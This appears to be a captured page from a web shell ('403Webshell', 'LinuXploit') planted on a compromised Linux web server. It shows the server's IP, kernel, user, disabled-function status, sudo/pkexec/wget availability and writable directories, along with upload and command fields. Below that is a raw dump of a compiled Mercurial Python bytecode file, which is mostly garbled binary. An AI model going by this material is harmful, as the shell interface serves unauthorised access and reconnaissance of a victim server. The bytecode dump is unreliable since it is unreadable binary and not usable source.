403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/utils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/utils/__pycache__/compression.cpython-39.opt-1.pyc
a

�+�b�d�@s�ddlmZmZddlZddlZddlZddlmZddlm	Z	m
Z
mZddlmZejZe
j
Z
dZd	Ze�d
d�ZGdd
�d
e�ZGdd�de�Ze�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Ze�e��Gdd�de�Ze�e��Gd d!�d!e�Ze�e��Gd"d#�d#e�Z e�e ��Gd$d%�d%e�Z!e�e!��d&d'�Z"e"��#�Z$dS)(�)�absolute_import�print_functionN�)�getattr)�error�i18n�pycompat�)�
stringutilsserversclientZcompenginewireprotosupport)�nameZserverpriorityZclientpriorityc@s&eZdZdd�Zddd�Zdd�ZdS)	�
propertycachecCs||_|j|_dS�N)�func�__name__r)�selfr�r�A/usr/lib64/python3.9/site-packages/mercurial/utils/compression.py�__init__&szpropertycache.__init__NcCs|�|�}|�||�|Sr
)r�
cachevalue)r�obj�type�resultrrr�__get__*s
zpropertycache.__get__cCs||j|j<dSr
)�__dict__r)rr�valuerrrr/szpropertycache.cachevalue)N)r�
__module__�__qualname__rrrrrrrr%s
rc@szeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Ze	dd
��Z
e	dd��Zdd�Zdd�Z
ddd�Zdd�Zdd�ZdS)�compressormanageraGHolds registrations of various compression engines.

    This class essentially abstracts the differences between compression
    engines to allow new compression formats to be added easily, possibly from
    extensions.

    Compressors are registered against the global instance by calling its
    ``register()`` method.
    cCs"i|_i|_i|_i|_i|_dSr
)�_engines�_bundlenames�_bundletypes�_revlogheaders�
_wiretypes�rrrrr?s
zcompressormanager.__init__cCs
|j|Sr
�r�r�keyrrr�__getitem__Jszcompressormanager.__getitem__cCs
||jvSr
r$r%rrr�__contains__Mszcompressormanager.__contains__cCst|j���Sr
)�iterr�keysr#rrr�__iter__Pszcompressormanager.__iter__c	Cs>t|t�sttd���|��}||jvr:t�td�|��|��}|r�|\}}||j	vrjt�td�|��||j
vr�t�td�||j
|f��|r�||j	|<||j
|<|��}|r�|j}||jvr�t�td�||j|f��||j|<|�
�}|�r ||jv�r t�td�||j|f��|�r0||j|<||j|<dS)zxRegister a compression engine with the manager.

        The argument must be a ``compressionengine`` instance.
        s$argument must be a compressionengines(compression engine %s already registereds!bundle name %s already registereds'bundle type %s already registered by %ss5wire protocol compression %s already registered by %ss)revlog header %s already registered by %sN)�
isinstance�compressionengine�
ValueError�_rrr�Abort�
bundletyperr �wireprotosupportr"�revlogheaderr!)	r�enginerZ
bundleinfo�
bundlenamer1Zwiresupport�wiretyper3rrr�registerSsZ


�

�
��


���
��
zcompressormanager.registercCst|j���Sr
)�setrr*r#rrr�supportedbundlenames�sz&compressormanager.supportedbundlenamescCst|j���Sr
)r8r r*r#rrr�supportedbundletypes�sz&compressormanager.supportedbundletypescCs2|j|j|}|��s.t�td�|����|S)z�Obtain a compression engine registered to a bundle name.

        Will raise KeyError if the bundle type isn't registered.

        Will abort if the engine is known but not available.
        �)compression engine %s could not be loaded)rr�	availablerr0r/r)rr5r4rrr�
forbundlename�s�zcompressormanager.forbundlenamecCs2|j|j|}|��s.t�td�|����|S)z�Obtain a compression engine registered to a bundle type.

        Will raise KeyError if the bundle type isn't registered.

        Will abort if the engine is known but not available.
        r;)rr r<rr0r/r)rr1r4rrr�
forbundletype�s�zcompressormanager.forbundletypeTcsV|tkrdnd��fdd��j��D�}|r:dd�|D�}�fdd�}tt||d��S)	z�Obtain compression engines that support the wire protocol.

        Returns a list of engines in prioritized order, most desired first.

        If ``onlyavailable`` is set, filter out engines that can't be
        loaded.
        sserverprioritysclientprioritycsg|]}�j|�qSrr$��.0�er#rr�
<listcomp>��z:compressormanager.supportedwireengines.<locals>.<listcomp>cSsg|]}|��r|�qSr)r<r?rrrrB�rCcs|��}dt|��|jfS)N���)r2rr)rA�w)�attrrr�getkey�sz6compressormanager.supportedwireengines.<locals>.getkey)r&)�
SERVERROLEr"�values�list�sorted)rZroleZ
onlyavailableZenginesrGr)rFrr�supportedwireengines�s
z&compressormanager.supportedwireenginescCs2|j|j|}|��s.t�td�|����|S)Nr;)rr"r<rr0r/r)rr6r4rrr�forwiretype�s�zcompressormanager.forwiretypecCs|j|j|S)z�Obtain a compression engine registered to a revlog header.

        Will raise KeyError if the revlog header value isn't registered.
        )rr!)r�headerrrr�forrevlogheader�sz!compressormanager.forrevlogheaderN)T)rrr�__doc__rr'r(r+r7�propertyr9r:r=r>rLrMrOrrrrr4s
=


rc@sTeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
d�Z	dd�Z
ddd�ZdS)r-zuBase class for compression engines.

    Compression engines must implement the interface defined by this class.
    cCs
t��dS)z�Returns the name of the compression engine.

        This is the key the engine is registered under.

        This method must be implemented.
        N��NotImplementedErrorr#rrrr�szcompressionengine.namecCsdS)aWhether the compression engine is available.

        The intent of this method is to allow optional compression engines
        that may not be available in all installations (such as engines relying
        on C extensions that may not be present).
        Trr#rrrr<�szcompressionengine.availablecCsdS)a�Describes bundle identifiers for this engine.

        If this compression engine isn't supported for bundles, returns None.

        If this engine can be used for bundles, returns a 2-tuple of strings of
        the user-facing "bundle spec" compression name and an internal
        identifier used to denote the compression format within bundles. To
        exclude the name from external usage, set the first element to ``None``.

        If bundle compression is supported, the class must also implement
        ``compressstream`` and `decompressorreader``.

        The docstring of this method is used in the help system to tell users
        about this engine.
        Nrr#rrrr1�szcompressionengine.bundletypecCsdS)a�Declare support for this compression format on the wire protocol.

        If this compression engine isn't supported for compressing wire
        protocol payloads, returns None.

        Otherwise, returns ``compenginewireprotosupport`` with the following
        fields:

        * String format identifier
        * Integer priority for the server
        * Integer priority for the client

        The integer priorities are used to order the advertisement of format
        support by server and client. The highest integer is advertised
        first. Integers with non-positive values aren't advertised.

        The priority values are somewhat arbitrary and only used for default
        ordering. The relative order can be changed via config options.

        If wire protocol compression is supported, the class must also implement
        ``compressstream`` and ``decompressorreader``.
        Nrr#rrrr2
sz"compressionengine.wireprotosupportcCsdS)aPHeader added to revlog chunks that identifies this engine.

        If this engine can be used to compress revlogs, this method should
        return the bytes used to identify chunks compressed with this engine.
        Else, the method should return ``None`` to indicate it does not
        participate in revlog compression.
        Nrr#rrrr3#szcompressionengine.revlogheaderNcCs
t��dS)a�Compress an iterator of chunks.

        The method receives an iterator (ideally a generator) of chunks of
        bytes to be compressed. It returns an iterator (ideally a generator)
        of bytes of chunks representing the compressed output.

        Optionally accepts an argument defining how to perform compression.
        Each engine treats this argument differently.
        NrR�r�it�optsrrr�compressstream-s
z compressionengine.compressstreamcCs
t��dS)z�Perform decompression on a file object.

        Argument is an object with a ``read(size)`` method that returns
        compressed data. Return value is an object with a ``read(size)`` that
        returns uncompressed data.
        NrR�r�fhrrr�decompressorreader9sz$compressionengine.decompressorreadercCs
t��dS)aLObtain an object that can be used to compress revlog entries.

        The object has a ``compress(data)`` method that compresses binary
        data. This method returns compressed binary data or ``None`` if
        the data could not be compressed (too small, not compressible, etc).
        The returned data should have a header uniquely identifying this
        compression format so decompression can be routed to this engine.
        This header should be identified by the ``revlogheader()`` return
        value.

        The object has a ``decompress(data)`` method that decompresses
        data. The method will only be called if ``data`` begins with
        ``revlogheader()``. The method should return the raw, uncompressed
        data or raise a ``StorageError``.

        The object is reusable but is not thread safe.
        NrR�rrVrrr�revlogcompressorBsz"compressionengine.revlogcompressor)N)N)rrrrPrr<r1r2r3rWrZr\rrrrr-�s		

	r-c@s$eZdZdd�Zdd�Zdd�ZdS)�_CompressedStreamReadercCs2t|d�r|j|_n|j|_g|_d|_d|_dS)N�unbufferedreadrF)�safehasattrr^�_reader�read�_pending�_pos�_eofrXrrrrXs

z _CompressedStreamReader.__init__cCs
t��dSr
rR)r�chunkrrr�_decompressasz#_CompressedStreamReader._decompresscCs�g}|jr�t|jd�||jkr^|jd}|�||j|j|��|j|7_d�|�S|j�d�}|jr�|�||jd��|t|�|j8}n|�|�|t|�8}d|_q|jr�d�|�S|�d�}|�|�|s|js|jsd�|�SqdS)NrrCi)	rb�lenrc�append�join�poprdr`rf)r�l�buf�newbufrerrrrads(





z_CompressedStreamReader.readN)rrrrrfrarrrrr]Ws	r]cs$eZdZ�fdd�Zdd�Z�ZS)�_GzipCompressedStreamReadercstt|��|�t��|_dSr
)�superrnr�zlib�
decompressobj�
_decompobjrX��	__class__rrr�sz$_GzipCompressedStreamReader.__init__cCsf|j�|�}|r|j�|�|j��}z&|�d�|��|jdkrJd|_Wntj	y`Yn0dS)N�xT)
rr�
decompressrbrh�copy�flush�unused_datardrpr)rrerm�drrrrf�s



z'_GzipCompressedStreamReader._decompress�rrrrrf�
__classcell__rrrsrrn�srncs$eZdZ�fdd�Zdd�Z�ZS)�_BZ2CompressedStreamReadercstt|��|�t��|_dSr
)ror}r�bz2�BZ2DecompressorrrrXrsrrr�sz#_BZ2CompressedStreamReader.__init__cCs`|j�|�}|r|j�|�z&|j�d�}|r@|j�|�qq@qWntyZd|_Yn0dS�NrCT)rrrvrbrh�EOFErrorrd�rrermrrrrf�sz&_BZ2CompressedStreamReader._decompressr{rrrsrr}�sr}cseZdZ�fdd�Z�ZS)�#_TruncatedBZ2CompressedStreamReadercs0tt|��|�|j�d�}|r,|j�|�dS)N�BZ)ror�rrrrvrbrh)rrYrmrsrrr�sz,_TruncatedBZ2CompressedStreamReader.__init__)rrrrr|rrrsrr��sr�cs$eZdZ�fdd�Zdd�Z�ZS)�_ZstdCompressedStreamReadercs(tt|��|�||_|����|_dSr
)ror�r�_zstd�ZstdDecompressorrqrr)rrY�zstdrsrrr�sz$_ZstdCompressedStreamReader.__init__cCsd|j�|�}|r|j�|�z&|j�d�}|r@|j�|�qq@qWn|jjy^d|_Yn0dSr�)rrrvrbrhr�Z	ZstdErrorrdr�rrrrf�sz'_ZstdCompressedStreamReader._decompressr{rrrsrr��sr�c@sXeZdZdd�Zdd�Zdd�Zdd�Zdd
d�Zdd
�ZGdd�de	�Z
ddd�Zd	S)�_zlibenginecCsdS)N�zlibrr#rrrr�sz_zlibengine.namecCsdS)z�zlib compression using the DEFLATE algorithm.

        All Mercurial clients should support this format. The compression
        algorithm strikes a reasonable balance between compression ratio
        and size.
        )sgzipsGZrr#rrrr1�sz_zlibengine.bundletypecCstddd�S)Nr����compewireprotosupportr#rrrr2�sz_zlibengine.wireprotosupportcCsdS)Nrurr#rrrr3�sz_zlibengine.revlogheaderNccsF|pi}t�|�dd��}|D]}|�|�}|r|Vq|��VdS)N�levelrD)rp�compressobj�get�compressrx�rrUrV�zre�datarrrrW�s
z_zlibengine.compressstreamcCst|�Sr
)rnrXrrrrZ�sz_zlibengine.decompressorreaderc@s&eZdZddd�Zdd�Zdd�ZdS)	z _zlibengine.zlibrevlogcompressorNcCs
||_dSr
)�_level)r�levelrrrr�sz)_zlibengine.zlibrevlogcompressor.__init__cCs�t|�}|dkrdS|dkrT|jdur2t�|�}nt�||j�}t|�|krP|SdS|jdurht��}ntj|jd�}g}d}||kr�|d}|�|�|||���|}q~|�|���ttt|��|kr�d�	|�SdSdS)N�,�@B�r�rirC)
rgr�rpr�r�rhrx�sum�mapri)rr��insize�
compressedr��parts�pos�pos2rrrr��s.



z)_zlibengine.zlibrevlogcompressor.compressc
CsPzt�|�WStjyJ}z$t�td�t�|���WYd}~n
d}~00dS)N�revlog decompress error: %s)rprvr�StorageErrorr/r
�forcebytestr)rr�rArrrrvs��z+_zlibengine.zlibrevlogcompressor.decompress)N�rrrrr�rvrrrr�zlibrevlogcompressor�s
%r�cCs d}|dur|�d�}|�|�S)Ns
zlib.level)r�r��rrVr�rrrr\s
z_zlibengine.revlogcompressor)N)N)rrrrr1r2r3rWrZ�objectr�r\rrrrr��s	

2r�c@s6eZdZdd�Zdd�Zdd�Zddd	�Zd
d�ZdS)
�
_bz2enginecCsdS)Nsbz2rr#rrrr$sz_bz2engine.namecCsdS)a�An algorithm that produces smaller bundles than ``gzip``.

        All Mercurial clients should support this format.

        This engine will likely produce smaller bundles than ``gzip`` but
        will be significantly slower, both during compression and
        decompression.

        If available, the ``zstd`` engine can yield similar or better
        compression at much higher speeds.
        )�bzip2r�rr#rrrr1'sz_bz2engine.bundletypecCstddd�S)Nr�rr�r#rrrr27sz_bz2engine.wireprotosupportNccsF|pi}t�|�dd��}|D]}|�|�}|r|Vq|��VdS)Nr��	)r~�
BZ2Compressorr�r�rxr�rrrrW:s
z_bz2engine.compressstreamcCst|�Sr
)r}rXrrrrZDsz_bz2engine.decompressorreader)N)rrrrr1r2rWrZrrrrr�#s


r�c@s$eZdZdd�Zdd�Zdd�ZdS)�_truncatedbz2enginecCsdS)Nsbz2truncatedrr#rrrrLsz_truncatedbz2engine.namecCsdS)N)Ns_truncatedBZrr#rrrr1Osz_truncatedbz2engine.bundletypecCst|�Sr
)r�rXrrrrZTsz&_truncatedbz2engine.decompressorreaderN)rrrrr1rZrrrrr�Ksr�c@sXeZdZdd�Zdd�Zdd�Zdd�Zdd
d�Zdd
�ZGdd�de	�Z
ddd�Zd	S)�_noopenginecCsdS)N�nonerr#rrrr\sz_noopengine.namecCsdS)zmNo compression is performed.

        Use this compression engine to explicitly disable compression.
        )r�sUNrr#rrrr1_sz_noopengine.bundletypecCstddd�S)Nr�r�
r�r#rrrr2isz_noopengine.wireprotosupportcCsdS)N�rr#rrrr3nsz_noopengine.revlogheaderNcCs|Sr
rrTrrrrWqsz_noopengine.compressstreamcCs|Sr
rrXrrrrZtsz_noopengine.decompressorreaderc@seZdZdd�ZdS)z _noopengine.nooprevlogcompressorcCsdSr
r)rr�rrrr�xsz)_noopengine.nooprevlogcompressor.compressN)rrrr�rrrr�nooprevlogcompressorwsr�cCs|��Sr
)r�r[rrrr\{sz_noopengine.revlogcompressor)N)N)rrrrr1r2r3rWrZr�r�r\rrrrr�[s

r�c@sleZdZdd�Zedd��Zdd�Zdd�Zd	d
�Zdd�Z	ddd�Z
dd�ZGdd�de�Z
ddd�Zd
S)�_zstdenginecCsdS)N�zstdrr#rrrr�sz_zstdengine.namecCs2zddlm}|j|WSty,YdS0dS)Nr)r�)�r��__version__�ImportError)rr�rrr�_module�sz_zstdengine._modulecCs
t|j�Sr
)�boolr�r#rrrr<�sz_zstdengine.availablecCsdS)a�A modern compression algorithm that is fast and highly flexible.

        Only supported by Mercurial 4.1 and newer clients.

        With the default settings, zstd compression is both faster and yields
        better compression than ``gzip``. It also frequently yields better
        compression than ``bzip2`` while operating at much higher speeds.

        If this engine is available and backwards compatibility is not a
        concern, it is likely the best available engine.
        )r�sZSrr#rrrr1�sz_zstdengine.bundletypecCstddd�S)Nr��2r�r#rrrr2�sz_zstdengine.wireprotosupportcCsdS)N�(rr#rrrr3�sz_zstdengine.revlogheaderNc	csd|pi}|�dd�}|�dd�}|j}|j||d���}|D]}|�|�}|r<|Vq<|��VdS)Nr��sthreadsr)r��threads)r�r��ZstdCompressorr�r�rx)	rrUrVr�r�r�r�rer�rrrrW�s
z_zstdengine.compressstreamcCst||j�Sr
)r�r�rXrrrrZ�sz_zstdengine.decompressorreaderc@s&eZdZd	dd�Zdd�Zdd�ZdS)
z _zstdengine.zstdrevlogcompressorr�cCs,|j|d�|_|��|_|j|_|j|_dS)Nr�)r��_cctxr��_dctxZ"COMPRESSION_RECOMMENDED_INPUT_SIZE�_compinsizeZ$DECOMPRESSION_RECOMMENDED_INPUT_SIZE�
_decompinsize)rr�r�rrrr�s
z)_zstdengine.zstdrevlogcompressor.__init__c	Cs�t|�}|dkrdS|dkr<|j�|�}t|�|kr8|SdS|j��}g}d}||kr�||j}|�|||��}|r�|�|�|}qN|�|���ttt|��|kr�d�	|�SdSdS)Nr�r�rrC)
rgr�r�r�r�rhrxr�r�ri)	rr�r�r�r��chunksr�r�rerrrr��s*



z)_zstdengine.zstdrevlogcompressor.compressc	
Cs�t|�}zV|j��}g}d}||krT||j}|�|||��}|rN|�|�|}qd�|�WSty�}z$t�	t
d�t�|���WYd}~n
d}~00dS)NrrCr�)
rgr�rqr�rvrhri�	Exceptionrr�r/r
r�)	rr�r�Zdobjr�r�r�rerArrrrv�s$


��z+_zstdengine.zstdrevlogcompressor.decompressN)r�r�rrrr�zstdrevlogcompressor�s

r�cCs@|pi}|�d�}|dur$|�d�}|dur0d}|j|j|d�S)Ns
zstd.levelr�r�r�)r�r�r�r�rrrr\�s

z_zstdengine.revlogcompressor)N)N)rrrrrr�r<r1r2r3rWrZr�r�r\rrrrr��s

@r�cCs�i}Gdd�dt�}tD]t}t|}|��s.q|��}|r|dsDqd|dt�|j�f}|�}t�|�|_|jj|_|j|_	|||d<q|S)z@Obtains a list of available bundle compressions for use in help.c@seZdZdS)z*bundlecompressiontopics.<locals>.docobjectN)rrrrrrr�	docobjectsr�rs
``%s``
    %s)
r��compenginesr<r1rZgetdocZsysstrrPZ_origdocZ	_origfunc)�itemsr�rr4Zbt�docrrrr�bundlecompressiontopicss 
r�)%Z
__future__rrr~�collectionsrprrr�rrr
r_r/rHZ
CLIENTROLE�
namedtupler�r�rrr�r-r]rnr}r�r�r�r7r�r�r�r�r�rIZ
i18nfunctionsrrrr�<module>sJ�*w)\%
$ 

Youez - 2016 - github.com/yon3zu
LinuXploit